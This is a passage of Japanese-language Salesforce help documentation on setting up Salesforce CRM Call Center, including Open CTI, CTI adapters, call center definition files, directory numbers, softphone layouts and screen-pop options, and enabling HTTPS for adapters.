を使用してSalesforceと統合されます。標準搭載されたサービスアプリケーションは、Salesforce Classicアプリケー
ションであり、Open CTI for Salesforce Classicのみをサポートします。Lightning Experienceでコールを実行するには、
標準搭載されたサービスコンソールアプリケーションのようにLightning Experienceで Open CTI for Lightning Experience

を使用します。
CTI ベンダーおよびパートナーは、JavaScript で Open CTI を使用して API コールおよびプロセスを組み込みます。
Open CTI ベンダーおよびパートナーを利用することで、次のことができます。
• CTI アダプタを使用せずに Salesforce と統合する CTI システムを構築する。
• Salesforce および Salesforce コンソールと完全に統合されたパーツとして機能するカスタマイズ可能なソフト

フォン (通話管理ツール) を作成する。
• Mac、Linux、または Windows マシン上の Microsoft® Internet Explorer®、Mozilla® Firefox®、Apple® Safari®、または Google

Chrome™ 向けの CTI などブラウザおよびプラットフォームにとらわれない CTI システムを提供する。

関連トピック:

Open CTI 開発者ガイド
Salesforce コールセンター
サポートされるブラウザ
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Salesforce CTI Toolkit
CTI Toolkit により、開発者はSalesforceをサードパーティのコンピュータテレフォニーインテグレーション (CTI) シ
ステムと統合する CTI アダプタを構築できます。CTI Toolkit を使用すると、Salesforce コールセンターユーザがコ
ンピュータにインストールする CTI アダプタを開発者が構築でき、それによりユーザがソフトフォンで CTI シス
テムの機能を使用できるようになります。

使用可能なエディション: Salesforce Classic

使用可能なエディション: Professional Edition、Enterprise Edition、Performance Edition、Unlimited Edition、および
Developer Edition

重要:  CTI Toolkit は廃止されます。CTI Toolkit で構築したソフトフォンは Spring '17 以降機能しなくなります。
継続してソフトフォンを使用するには、CTI 実装をSalesforce Open CTIに移行します。CTI Toolkit の廃止と Open

CTI への移行方法についての詳細は、「CTI Toolkit の廃止に関する FAQ」を参照してください。
次の 3 種類の CTI Toolkit があります。それぞれのバージョンは、ユーザに異なる Salesforce CRM Call Center 機能を
提供します。ただし、Salesforce では CTI Toolkit バージョン 4.0 以降のみを配布します。次の表には、各 CTI Toolkit

を使用して構築された CTI アダプタで使用できる機能を示します。

バージョン 4.0 以上バージョン 3.0 以上バージョン 2.0 以上バージョン 1.0 以上機能

ソフトフォンで表示
される項目および項
目の順序を変更しま
す。

ソフトフォンで表示
されるオブジェクト
およびオブジェクト
へのリンクの順序を
変更します。

特定のオブジェクト
の 1 つのレコードが
見つかった場合、ソ
フトフォンに表示さ
れる項目を指定しま
す。

単一のレコード一
致、複数のレコード
一致がある、または
レコード一致がない
インバウンドコール
に画面ポップ設定を
指定します。
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バージョン 4.0 以上バージョン 3.0 以上バージョン 2.0 以上バージョン 1.0 以上機能

すでに開いているブ
ラウザウィンドウ、
または新しいブラウ
ザウィンドウまたは
タブで表示するよ
う、インバウンド
コールの画面ポップ
を表示します。

画面ポップをインバ
ウンドコールの
Visualforceページに指
定します。

画面ポップを複数の
レコード一致がある
インバウンドコール
の検索ページに指定
します。

[バージョン]項目に
コールセンターの
バージョンを表示し
ます ([設定] から [ク
イック検索] ボック
スに「コールセン
ター」と入力し、
[コールセンター] を
選択してコールセン
ターを選択します)。

Salesforce コンソール
のフッターに強化さ
れたソフトフォン
ユーザインター
フェースを表示しま
す。

Salesforce コンソール
のカスタマイズ可能
な相互関係ログに通
話を記録します。

クロスドメインメッ
セージングに互換性
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バージョン 4.0 以上バージョン 3.0 以上バージョン 2.0 以上バージョン 1.0 以上機能

のあるブラウザをサ
ポートします。

CTI アダプタのサイズ
および複雑性を軽減
します。

CTI アダプタをカスタマイズおよび開発する方法についての詳細は、以下を参照してください。
• 『CTI Toolkit 開発者ガイド (バージョン 4.0)』
• 『CTI Toolkit 開発者ガイド (バージョン 1.0 ～ 3.0)』
パートナーおよび開発者は、developer.salesforce.com から CTI Toolkit をダウンロードできます。CTI Toolkit では、独
自のカスタム CTI アダプタを開発するために必要なすべてのソースコード、ライブラリ、およびファイルが提
供されます。

関連トピック:

Salesforce コールセンター

Salesforce コールセンター

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コールセンターは、Salesforce とサードパーティのコンピュータテレフォニーイ
ンテグレーション (CTI) システムを統合します。コールセンターユーザは、着信
電話の Salesforce 情報の表示、Salesforce からの発信電話の直接通話、および通話
の結果や時間などのレポート作成を実行できます。コールセンターは、通話に
時間を費やす Salesforce ユーザの生産性の向上に非常に役立ちます。

メモ: 標準搭載されたサービスアプリケーションは、Salesforce Classic アプリ
ケーションであり、Open CTI for Salesforce Classicのみをサポートします。Lightning

Experienceでコールを実行するには、標準搭載されたサービスコンソールア
プリケーションのように Lightning Experience で Open CTI for Lightning Experience

を使用します。
コールセンターを設定するには、開発者またはパートナーと協力し、Open CTI API

を使用して既存のテレフォニーシステムと連携する CTI 実装を作成します。ほと
んどのコールセンターは AppExchange パッケージのインストールによって作成され、コールセンターにアクセ
スするユーザを決定するだけで済みます。
コールセンターを設定すると、コールセンターユーザは、ソフトフォンを使用して電話を着発信できます。各
CTI 実装が固有であるため、各ソフトフォンの外観と動作は異なります。コンソールとLightning Experienceでは、
フッターにソフトフォンが表示されます。Salesforce Classicでは、各Salesforceページの左サイドバーにソフトフォ
ンが表示されます。
コールセンターはカスタマイズがすべてです。ソフトフォンレイアウトを変更して、選択したユーザプロファ
イルに特定のレイアウトを割り当てることができます。また、電話番号をコールセンターディレクトリに追加
して、すべてのユーザが主要な電話番号にアクセスできるようにすることも可能です。ニーズの変化に伴っ
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て、コールセンターのカスタマイズと変更を行うこともできます。システム管理者として、一部のカスタマイ
ズを自分で実行できます。ただし、開発者またはパートナーと協力して機能の変更を行うこともできます。

関連トピック:

Open CTI 開発者ガイド
コールセンターの設定
コールセンターの作成
コールセンターユーザの管理

コールセンターの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コールセンター、コール
センターユーザ、コール
センターディレクトリ、
およびソフトフォンレイ
アウトを管理する
• 「コールセンターの管

理」

Salesforceユーザがコールセンターにアクセスして使用できるようにするために、
システム管理者は事前にさまざまな操作を実行する必要があります。

メモ: 標準搭載されたサービスアプリケーションは、Salesforce Classic アプリ
ケーションであり、Open CTI for Salesforce Classicのみをサポートします。Lightning

Experienceでコールを実行するには、標準搭載されたサービスコンソールア
プリケーションのように Lightning Experience で Open CTI for Lightning Experience

を使用します。
1. 開発者またはパートナーと協力し、Open CTI API を使用して既存のテレフォ

ニーシステムと連携するコンピュータテレフォニーインテグレーション (CTI)

実装を作成します。ほとんどのコールセンターは AppExchange からパッケー
ジをインストールして作成されます。
独自の実装を開発する場合、ビジネスで使用されている各 CTI システムに対
して新規コールセンターレコードを定義します。

2. Salesforce ユーザを適切なコールセンターに割り当てます。コールセンター
ユーザがソフトフォンを参照するには、そのユーザがコールセンターに割り
当てられている必要があります。

3. 必要に応じて、さらにカスタマイズを行うことができます。
• 追加のディレクトリ番号と更新した電話番号検索レイアウトをコールセ

ンターの電話帳に設定します。
• 異なるユーザプロファイルに対してソフトフォンレイアウトをカスタマ

イズすると、営業担当者のソフトフォンで関連するリード、取引先、商談を表示したり、サポート担当
者のソフトフォンで関連するケースやソリューションを表示したりできます。

関連トピック:

Open CTI 開発者ガイド
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コールセンターのコンピュータへのアダプタの展開

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Open CTIで構築されたコールセンターを除き、Salesforce CRM Call Centerを使用する
コンピュータには、CTI アダプタをインストールする必要があります。CTI アダプ
タは、Salesforce ソフトフォンの表示方法と動作を制御する軽量のソフトウェア
プログラムです。CTI Developer Toolkit のバージョンによって、ソフトフォンの機
能が決まります。
CTI アダプタは個々の CTI システムと直接通信するため、組織では使用している
CTI システムの各種類に対応した異なる CTI アダプタを使用する必要があります。
たとえば、ある組織で Cisco IPCC Enterprise™が稼働するコールセンターと Cisco IPCC

Express™が稼働するコールセンターを統合したい場合、その組織には使用可能な
2 種類の CTI アダプタが必要です。コールセンターのユーザのコンピュータでは、
そのコンピュータが接続するコールセンター用のソフトフォン CTI アダプタが必
要です。
ソフトフォン CTI アダプタをダウンロードするには、「コールセンターのコンピュータへのアダプタの展開」
にアクセスしてください。アダプタのインストールパッケージには、目的のアダプタと併用できるアダプタの
設定ファイルとコールセンター定義ファイルが含まれています。
CTI アダプタを単一のコンピュータにインストールする場合は、Windows 管理者ユーザとして、CTI アダプタの
Setup.exe アプリケーションを実行します。
CTI アダプタをコールセンターのすべてのコンピュータに展開するには、インストーラと選択設定されたソフ
トウェア管理システムに同梱されている .msi ファイルを使用します。
CTI アダプタをインストールすると、次の操作を実行できます。
• [開始] > [プログラム] > [salesforce.com] > [<あなたの CTI システム名> アダプタ] をクリックして、CTI アダプ

タアプリケーションを起動します。コンピュータのシステムトレイにある アイコンをクリックし、実行
されている CTI アダプタを検索して確認できます。

• CTI アダプタアプリケーションを停止するには、CTI アダプタシステムトレイアイコン ( ) を右クリックし
て [終了] を選択します。

• CTI アダプタログ設定を変更するには、CTI アダプタシステムトレイアイコン ( ) を右クリックして、[ログ
イン中...] を選択します。CTI ログ設定ダイアログでは、次の操作を実行します。
– 記録したいメッセージの種別を選択します。アダプタに関する問題のトラブルシューティングを実行す

る場合を除き、記録レベルは [低 - エラー] に保ちます。
– CTI アダプタが作成する 2 つのログファイルの保存場所を指定します。

関連トピック:

コールセンターの設定
コールセンターユーザの管理
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コールセンター定義ファイル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コールセンター定義ファイルは、特定の CTI アダプタ向けの、Salesforce内でコー
ルセンターの定義に使用される一連の項目と値を指定します。Salesforce では、
Salesforce CRM Call Center と複数の CTI システム業者とのインテグレーションをサ
ポートするためにコールセンター定義ファイルを使用します。
CTI アダプタのインストールパッケージには、デフォルトで、前述のアダプタと
で限定的に動作するデフォルトのコールセンター定義ファイルが含まれていま
す。この XML ファイルは、サポートする CTI システムにちなんだ名前で、アダプ
タのインストールディレクトリに保存されています。たとえば、Cisco IPCC

Enterprise・アダプタのデフォルトのコールセンター定義ファイルには、
CiscoIPCCEnterprise7x.xml という名前が付けられます。
特定の CTI アダプタに対するコールセンターの最初のインスタンスは、Salesforce

にアダプタのコールセンター定義ファイルをインポートすることで定義する必
要があります。その後のコールセンターは、最初のインポートで作成された元のコールセンターをコピーする
ことで作成できます。
組織でアダプタを変更したり、新規アダプタを開発したりする場合は、元のアダプタのコールセンター定義
ファイルをカスタマイズして、追加のコールセンターに必要な情報を含めるようにする必要があります。たと
えば、バックアップサーバをサポートするシステムに対して CTI アダプタを開発している場合、コールセンター
定義ファイルにはそのバックアップサーバの IP アドレスとポート番号を含める必要があります。バックアップ
サーバを使用しないシステムの CTI アダプタに関連付けられているコールセンター定義ファイルには、これら
の項目は必要ありません。

メモ: コールセンター定義ファイルを一度Salesforceにインポートすると、ファイルで指定されている一連
の項目を変更できなくなります。これらの項目に割り当てられている値は、Salesforce内で変更することが
できます。

関連トピック:

コールセンターの作成
コールセンターのコピー
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コールセンター定義ファイルのインポート

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コールセンター定義ファ
イルをインポートする
• 「アプリケーションの

カスタマイズ」

および

「コールセンターの管
理」

インストールされたばかりのCTI アダプタに最初のコールセンターを作成するに
は、アダプタのデフォルトのコールセンター定義ファイルをSalesforceにインポー
トします。
1. [設定] から [クイック検索]ボックスに「コールセンター」と入力し、[コール

センター] を選択します。
2. [インポート] をクリックします。
3. [コールセンター定義ファイル]項目の横にある [参照]をクリックして、CTI ア

ダプタインストールディレクトリにあるデフォルトのコールセンター定義
ファイルへ移動します。この XML ファイルには、そのアダプタがサポートし
ている CTI システムの種類にちなんだ名前が付いています。たとえば、Cisco™

IPCC Enterprise アダプタのデフォルトのコールセンター定義ファイルには、
CiscoIPCCEnterprise7x.xmlという名前が付けられます。[開く]をクリッ
クして、[コールセンター定義ファイル] 項目にインポートするファイルのパ
スを入力します。

4. [インポート]をクリックするとファイルがインポートされ、[すべてのコール
センター] ページに戻ります。組織の他のコールセンターのリストと共に、
新規コールセンターのレコードが表示されます。

メモ: 「この内部名を持つコールセンターがすでに存在します」というエ
ラーが表示された場合は、この CTI アダプタに対するコールセンター定
義ファイルが Salesforce にインポート済みになっています。同じ CTI アダ
プタに追加のコールセンターレコードを作成したい場合は、アダプタの
既存のコールセンターをコピーし、reqInternalNameに異なる値を指
定します。

5. 新規コールセンターの設定を変更するには、コールセンター名の横にある [編集] をクリックします。
特定の CTI アダプタに追加のコールセンターを作成するには、「コールセンターのコピー」 (ページ2992)を参照
してください。

関連トピック:

コールセンターの作成
コールセンターの管理
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コールセンターの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

インポートまたコピーに
よってコールセンターを
作成する
• 「コールセンターの管

理」

Salesforce CRM Call Center のコールセンターは、組織ですでに設置されている単一
の CTI (computer-telephony integration) システムに対応しています。Salesforce ユーザ
に Salesforce CRM Call Center 機能を提供するには、コールセンターレコードにその
ユーザを割り当てる必要があります。
Salesforce でのコールセンターレコードの作成方法には、次の 2 つがあります。
• Salesforce にコールセンター定義ファイルをインポートする。この方法は、イ

ンストールされたばかりの CTI アダプタに最初のコールセンターを作成する
際に使用します。

• 既存のコールセンター定義をコピーする。この方法は、特定の CTI アダプタ
に追加のコールセンターを作成する際に使用します。たとえば、特定の場所
に設置された Cisco IPCC Enterprise™ コールセンターのコールセンターレコード
がすでにある場合は、このレコードをコピーして別の場所に Cisco IPCC Enterprise

コールセンターのレコードを作成できます。
作成済みのコールセンターのリストを表示するには、[設定] から [クイック検索]

ボックスに「コールセンター」と入力し、[コールセンター] を選択します。

関連トピック:

Open CTI 開発者ガイド
コールセンターの設定
コールセンター定義ファイル
コールセンターの管理
コールセンターの表示と編集
コールセンターユーザの管理
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コールセンターのコピー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コールセンターを参照、
コピーする
• 「コールセンターの管

理」

特定の CTI アダプタを対象とする複数のコールセンターを作成するには、既存の
コールセンターをコピーします。たとえば、特定の場所に設置された Cisco IPCC

Enterprise™コールセンターのコールセンターレコードがすでにある場合は、この
レコードをコピーして別の場所に Cisco IPCC Enterprise コールセンターのレコード
を作成できます。
コールセンターをコピーする手順は、次のとおりです。
1. [設定] から [クイック検索]ボックスに「コールセンター」と入力し、[コール

センター] を選択します。
2. コピーするコールセンターの名前をクリックします。
3. [コピー]をクリックします。この操作によって新規コールセンターが開かれ、

元のコールセンターと同じ項目と値を編集できます。新しい名前を指定でき
るように、[内部名] 項目だけが空白になっています。[内部名] 項目は、英
字で始まる最大 40 文字の英数字で指定します。[内部名] 項目は、組織内で
定義されている各コールセンターに対し一意の名前を指定します。

4. 必要に応じて、新規コールセンターに追加の変更を加えます。
5. 新規コールセンターを保存するには [保存] をクリックします。コピーした

コールセンターを保存せずに [すべてのコールセンター] ページに戻るには
[キャンセル] をクリックします。

メモ: 項目に対するアクセス権が「参照のみ」の場合、その項目の値はコピーしたレコードには引き継が
れません。

関連トピック:

コールセンターの設定
コールセンターの作成
コールセンターの管理
コールセンターの表示と編集
コールセンター定義ファイルのインポート
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コールセンターの表示と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コールセンターを参照ま
たは編集する
• 「コールセンターの管

理」

Salesforce CRM Call Center のコールセンターは、組織ですでに設置されている単一
の CTI (computer-telephony integration) システムに対応しています。Salesforce ユーザ
に Salesforce CRM Call Center 機能を提供するには、コールセンターレコードにその
ユーザを割り当てる必要があります。
コールセンターの詳細を参照する手順は、次のとおりです。
1. [設定] から [クイック検索]ボックスに「コールセンター」と入力し、[コール

センター] を選択します。
2. 参照するコールセンターの名前をクリックします。
コールセンター詳細ページでは、次の操作を実行できます。
• コールセンターのプロパティを編集するには、[編集] をクリックします。
• Salesforce からコールセンターのレコードを消去するには、[削除] をクリック

します。コールセンターを削除すると、そのコールセンターに関連付けられ
ているディレクトリ番号もすべて削除されます。削除されたコールセンター
に関連付けられているユーザが Salesforce CRM Call Centerの機能を利用し続けら
れるようにするには、これらのユーザをすべて別のコールセンターに再度割
り当てる必要があります。

• 現在のコールセンターと同じ項目および値を持つコールセンターの重複コ
ピーを作成するには、[コピー] をクリックします。

• Salesforceユーザをこのコールセンターのメンバーとして指定するには、[コールセンターユーザの管理]をク
リックします。

メモ: このヘルプシステムで説明されている Salesforce CRM Call Center機能の一部は、組織でのカスタマイズ
またはソフトフォンが構築された CTI Toolkit の状況によってはソフトフォンで使用できない場合がありま
す。詳細については、システム管理者に問い合わせてください。

関連トピック:

Open CTI 開発者ガイド
コールセンターの作成
コールセンターの管理
コールセンターの HTTPS の有効化
コールセンター定義ファイル
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コールセンターの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コールセンターをイン
ポート、参照、編集、ま
たは削除する
• 「コールセンターの管

理」

Salesforce CRM Call Center のコールセンターは、組織ですでに設置されている単一
の CTI (computer-telephony integration) システムに対応しています。Salesforce ユーザ
に Salesforce CRM Call Center 機能を提供するには、コールセンターレコードにその
ユーザを割り当てる必要があります。
作成済みのコールセンターのリストを表示するには、[設定] から [クイック検索]

ボックスに「コールセンター」と入力し、[コールセンター]を選択します。この
ページでは、次の操作を実行できます。
• コールセンターの名前をクリックして、コールセンターの詳細を表示しま

す。
• [インポート] をクリックして、作成済みのコールセンター定義ファイルをイ

ンポートします。
• コールセンターの横にある [編集]をクリックして、コールセンターの詳細を

変更します。
• Salesforce からコールセンターのレコードを消去するには、コールセンターの

横にある [削除]をクリックします。コールセンターを削除すると、そのコー
ルセンターに関連付けられているディレクトリ番号もすべて削除されます。
削除されたコールセンターに関連付けられているユーザが Salesforce CRM Call

Center の機能を利用し続けられるようにするには、これらのユーザをすべて
別のコールセンターに再度割り当てる必要があります。

関連トピック:

Open CTI 開発者ガイド
コールセンターの設定
コールセンターの作成
コールセンター定義ファイル
コールセンターユーザの管理
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コールセンターディレクトリのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コールセンターディレク
トリを管理する
• 「コールセンターの管

理」

Salesforce CRM Call Center のすべてのコールセンターには、ユーザが組織全体を通
じて電話番号を検索できるコールセンターディレクトリが含まれています。コー
ルセンターディレクトリのカスタマイズをする手順は、次のとおりです。
• 単一のコールセンターまたは組織で定義されたすべてのコールセンターに対

して、追加ディレクトリ番号を追加します。
• 電話番号の検索レイアウトを更新します。

関連トピック:

Open CTI 開発者ガイド
コールセンターの設定
コールセンターの管理
コールセンターユーザの管理

コールセンターディレクトリへの番号の追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

追加ディレクトリ番号を
参照、追加、編集、また
は削除する
• 「コールセンターの管

理」

コールセンターのディレクトリをカスタマイズするには、単一のコールセンター
または組織内で定義されたすべてのコールセンターに対して、追加ディレクト
リ番号を追加します。
1. [設定] から、[クイック検索]ボックスに「ディレクトリ番号」と入力し、[ディ

レクトリ番号] を選択します。このページでは、次の操作を実行できます。
• 既存の追加ディレクトリ番号を編集するには、[編集]をクリックします。
• 既存の追加ディレクトリ番号を削除するには、[削除]をクリックします。
• 既存の追加ディレクトリ番号の名前をクリックすると、[追加ディレクト

リ番号] ページに詳細が表示されます。このページから [編集] をクリック
すると、番号が編集できます。[削除]をクリックすると、番号が削除でき
ます。また、[コピー] をクリックすると既存の番号と同じ情報で追加の
ディレクトリ番号を作成できます。

2. 新規の追加ディレクトリ番号を定義するには、[新規] をクリックします。
3. [名前] 項目で追加ディレクトリ番号を識別する表示ラベルを入力します。
4. [電話] 項目に、国際電話国番号を含む電話番号を入力します。9 や 1 などの

外線発信番号を含める必要はありません。
5. [コールセンター]項目で、新しくディレクトリ番号を追加したいコールセン

ターディレクトリを選択します。組織内のすべてのコールセンターディレク
トリに番号を追加するには、[グローバル] を選択します。

6. 必要に応じて、[説明] 項目に、追加ディレクトリ番号に関する詳細情報を示すテキストを入力します。
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7. [保存]をクリックすると番号が保存され、[すべての追加ディレクトリ番号] ページに戻ります。番号を保存
して、別の番号を新規作成するには、[保存 & 新規] をクリックします。

関連トピック:

Open CTI 開発者ガイド
コールセンターの設定
コールセンターディレクトリのカスタマイズ

ソフトフォンレイアウトのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ソフトフォンレイアウト
を参照、作成、編集、ま
たは削除する
• 「コールセンターの管

理」

ソフトフォンは、カスタマイズ可能な通話管理ツールで、コールセンターに割
り当てられていて、CTI アダプタがインストールされているマシンで作業してい
るユーザに表示されます。ページレイアウトと同様、カスタムソフトフォンレ
イアウトを設計し、ユーザプロファイルに基づいて Salesforce CRM Call Center ユー
ザに割り当てることができます。次のトピックを参照してください。
• カスタムソフトフォンレイアウトの設計
• ユーザプロファイルへのソフトフォンレイアウトの割り当て

関連トピック:

Open CTI 開発者ガイド
コールセンターの設定
コールセンターの管理
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カスタムソフトフォンレイアウトの設計

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ソフトフォンレイアウト
を参照、作成、編集、ま
たは削除する
• 「コールセンターの管

理」

ソフトフォンレイアウトでは、表示される通話関連項目と、着信電話対象に検
索される Salesforce オブジェクトを制御できます。カスタムソフトフォンレイア
ウトを設計する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「ソフトフォンレイアウト」と入力

し、[ソフトフォンレイアウト] を選択します。
2. [新規] をクリックし、新規ソフトフォンレイアウト定義を作成します。また

は、既存のレイアウト定義の名前の横にある [編集]をクリックし、定義を参
照するか変更します。

3. [名前] 項目に、ソフトフォンレイアウト定義を一意に識別する表示ラベル
を入力します。

4. [通話種別を選択する]選択リストで、現在表示されているソフトフォンレイ
アウトを使用する通話の種類を選択します。どのソフトフォンレイアウトの
定義でも、着信、発信、内線通話用に異なるレイアウトを指定できます。こ
れらの 3 種類のレイアウトは、単一のソフトフォンレイアウト定義にまとめ
られます。

5. [表示する通話関連項目] セクションで [編集]をクリックすると、現在表示さ
れているソフトフォンレイアウトの項目の追加、削除、または順序変更がで
きます。
• ソフトフォンレイアウトに項目を追加するには、[利用可] リストで項目を選択し、[追加] をクリックし

ます。
• ソフトフォンレイアウトから項目を削除するには、[選択] リストで項目を選択し、[削除] をクリックし

ます。
• ソフトフォンレイアウトの項目の順序を変更するには、[選択] リストで項目を選択し、[上へ]または [下

へ] をクリックします。
変更を加えると、ページの右側にあるソフトフォンレイアウトのプレビューに自動的に反映されます。[利
用可] リストおよび [選択] リストを非表示にするには、[折りたたむ] をクリックします。
通話関連項目は、その項目に有効な値が使用できる場合にのみユーザのソフトフォンに表示されます。た
とえば、[通話者 ID] 項目を発信通話のレイアウトに追加しても、[通話者 ID] は表示されません。

6. [表示する Salesforce オブジェクト] セクションで [オブジェクトを追加 / 削除する]をクリックすると、
通話関連オブジェクトへのリンクの追加、削除、または順序変更を行えます。

7. 選択したオブジェクトのリストの下で、[<オブジェクト>が 1 つだけ見つかった場合の表示] の各行の横に
ある[編集]をクリックし、該当するオブジェクトに見つかったレコードが 1 つのみだった場合にソフトフォ
ンレイアウトに表示する項目を指定します。項目の追加、削除、または順序変更ができます。

8. [画面ポップ設定] セクション (インバウンドコールタイプ) で、レコード照合行の横にある [編集] をクリッ
クし、Salesforce でインバウンドコールの詳細が既存レコードに一致するかどうかを表示する画面を指定し
ます。次の表には、各レコード照合行およびその画面ポップオプションについて説明しています。
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画面ポップオプション説明レコード照合行

現在のブラウザウィンドウ
開いているブラウザウィンドウ
に表示します。

画面ポップの表示場所を設定しま
す。

画面ポップの表示範囲

新規のブラウザウィンドウまたはタ
ブ

新しいブラウザウィンドウまた
はタブに表示します。

ユーザのブラウザは、これらの設
定を次のように処理します。
• Internet Explorer 6.0 は、新しい

ウィンドウで画面のポップを表
示します。

• Internet Explorer 7.0 では、タブ設
定の選択内容に基づいて画面の
ポップが表示されます。

• Firefox 3.5 では、タブ設定の選択
内容に基づいて画面のポップが
表示されます。

画面をポップしない
画面を表示しない場合に選択し
ます。

インバウンドコールの詳細が既存
の Salesforce レコードに一致しない
場合の画面ポップオプションを設
定します。

レコードの一致なし

新規にポップ
ドロップダウンリストから指定
した新しいレコードページを表
示します。

Visualforce ページのポップ
特定の Visualforce ページを表示
します。
CTI アダプタは URL を介してデー
タをコールから Visualforce ペー
ジに渡します。少なくともANI

(発信者 ID) および DNIS  (発信者
がダイヤルした番号) が含まれ
ます。URL は、必要に応じて追
加データを Visualforce ページに
渡すことができます。
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画面ポップオプション説明レコード照合行

画面をポップしない
画面を表示しない場合に選択し
ます。

インバウンドコールの詳細が既存
の Salesforce レコード 1 件に一致し
た場合の画面ポップオプションを
設定します。

1 件のレコードの一致

詳細ページのポップ
該当レコードの詳細ページを表
示します。

Visualforce ページのポップ
特定の Visualforce ページを表示
します。
CTI アダプタは URL を介してデー
タをコールから Visualforce ペー
ジに渡します。少なくともANI

(発信者 ID) および DNIS  (発信者
がダイヤルした番号) が含まれ
ます。URL は、必要に応じて追
加データを Visualforce ページに
渡すことができます。

画面をポップしない
画面を表示しない場合に選択し
ます。

インバウンドコールの詳細が複数
の既存 Salesforce レコードに一致し
た場合の画面ポップオプションを
設定します。

複数のレコードの一致

検索ページにポップ
検索ページを表示します。

Visualforce ページのポップ
特定の Visualforce ページを表示
します。
CTI アダプタは URL を介してデー
タをコールから Visualforce ペー
ジに渡します。少なくともANI

(発信者 ID) および DNIS  (発信者
がダイヤルした番号) が含まれ
ます。URL は、必要に応じて追
加データを Visualforce ページに
渡すことができます。

レコード照合行を非表示にするには、[折りたたむ] をクリックします。
この項は、CTI Developer の Toolkit 2.0 以上を使用して CTI アダプタを構築した場合にのみ表示されます。

9. [通話種別を選択する] 選択リストで、残りの通話種別に対するソフトフォンレイアウトを設定します。
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10. [保存] をクリックします。

メモ: このヘルプシステムで説明されている Salesforce CRM Call Center機能の一部は、組織でのカスタマイズ
またはソフトフォンが構築された CTI Toolkit の状況によってはソフトフォンで使用できない場合がありま
す。詳細については、システム管理者に問い合わせてください。

関連トピック:

Open CTI 開発者ガイド
コールセンターの設定
ユーザプロファイルへのソフトフォンレイアウトの割り当て

ユーザプロファイルへのソフトフォンレイアウトの割り当て

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ユーザプロファイルにソ
フトフォンレイアウトを
割り当てる
• 「コールセンターの管

理」

1 つ以上のカスタムソフトフォンレイアウトの定義が完了したら、レイアウトを
ユーザプロファイルに割り当てることができます。
1. [設定] から、[クイック検索] ボックスに「ソフトフォンレイアウト」と入力

し、[ソフトフォンレイアウト] を選択します。
2. [レイアウトの割り当て] をクリックします。
3. このページに表示される各ユーザプロファイルに対して、適切なソフトフォ

ンレイアウトを選択します。現在コールセンターに割り当てられているユー
ザを含んでいるか、カスタムソフトフォンレイアウトにすでに割り当てられ
ているプロファイルのみが、このページに表示されます。

4. [保存] をクリックします。

メモ: 新しく割り当てられたソフトフォンレイアウトは、コールセンター
ユーザが次回 Salesforce にログインしたときに有効になります。

関連トピック:

Open CTI 開発者ガイド
コールセンターの設定
ソフトフォンレイアウトのカスタマイズ
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コールセンターの HTTPS の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コールセンターの HTTPS
を有効にする
• 「アプリケーションの

カスタマイズ」

および

「コールセンターの管
理」

バージョン 4.0 の CTI Toolkit で作成された CTI アダプタでは、セキュア URL、また
は HTTPS (セキュアハイパーテキストトランスファープロトコル) をコールセン
ターで使用するように指定できます。HTTPS を使用することによって、コールセ
ンターがさらに安全になり、Salesforce組織が HTTPS プロトコルを使用しているが
コールセンターでは使用していない場合に表示される「混在したコンテンツ」
警告が表示されないようになります。
HTTPS を有効にする手順は、次のとおりです。
1. [設定] から [クイック検索]ボックスに「コールセンター」と入力し、[コール

センター] を選択します。
2. コールセンターの名前をクリックします。
3. [編集] をクリックします。
4. [CTI アダプタ URL] にアダプタのセキュア URL を入力します。たとえば、

https://localhost:11000 のようになります。
5. [保存] をクリックします。

重要:  [コールセンターの設定] ページでセキュアな URL を指定するほかに、
CTI アダプタの設定ファイルを変更し、CTI アダプタの新しい証明書を作成
してインストールする必要もあります。詳細については、『CTI Toolkit Developer's

Guide』を参照してください。

